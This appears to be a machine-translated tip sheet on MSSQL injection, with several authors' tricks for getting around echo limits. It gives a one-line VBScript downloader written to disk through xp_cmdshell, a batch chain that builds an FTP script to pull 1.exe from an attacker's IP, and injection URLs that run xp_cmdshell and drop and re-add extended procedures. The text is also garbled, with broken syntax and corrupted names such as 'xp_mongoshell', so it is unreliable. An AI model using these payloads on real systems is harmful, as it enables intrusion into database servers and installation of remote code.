How to solve the problem of multiple echo operations caused by multiple parameter calls in mssql Injection

Text/superhei
Solution:
1. iget. vbs write once
The contact between vbs statements is the symbol: So we can write iget. vbs as follows:

Set x = CreateObject ("Microsoft. XMLHTTP "): x. open "GET", LCase (WScript. arguments (0), 0: x. send (): Set s = CreateObject ("ADODB. stream "): s. mode = 3: s. type = 1: s. open (): s. write (x. responseBody): s. saveToFile LCase (WScript. arguments (1), 2

In this way, the echo version can be successful once:

Echo Set x = CreateObject (^ "Microsoft. XMLHTTP ^ "): x. open ^ "GET ^", LCase (WScript. arguments (0), 0: x. send (): Set s = CreateObject (^ "ADODB. stream ^ "): s. mode = 3: s. type = 1: s. open (): s. write (x. responseBody): s. saveToFile LCase (WScript. arguments (1), 2> iget. vbs


2. How to Use bat to call the ftp script (by envymask)

Echo ftp> 1.vbs
Echo open ip> 2.vbs
Echo u> 3.vbs
Echo s> 4.vbs
Echo binary> 5.vbs
Echo get 1.exe> 6.vbs
Echo bay> 7.vbs

Copy 1.vbs+ 2.vbs+ 3.vbs+ 4.vbs+ 5.vbs+ 6.vbs+ 7.vbs new. vbs

3. Solution: by xiaolu

Http://xxx.com/x.asp? Id = 1; Exec Master .. xp_cmdshell echo xxxx1> xxx. vbs; exec master .. sp_dropextendedproc xp_cmdshell --
Http://xxx.com/x.asp? Id = 1; use master dbcc addextendedproc (xp_mongoshell, xplog70.dll )--
Http://xxx.com/x.asp? Id = 1; Exec Master .. xp_cmdshell echo xxxx2> xxx. vbs; exec master .. sp_dropextendedproc xp_cmdshell --
Http://xxx.com/x.asp? Id = 1; use master dbcc addextendedproc (xp_mongoshell, xplog70.dll )--